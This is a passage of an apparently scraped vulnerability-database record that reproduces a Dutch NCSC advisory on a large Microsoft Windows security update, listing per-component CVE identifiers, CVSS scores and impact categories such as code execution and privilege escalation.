CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:06.068905Z"}, {"uuid": "81615f3d-aa01-4e6c-afb4-64e9f1326e47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54990", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | 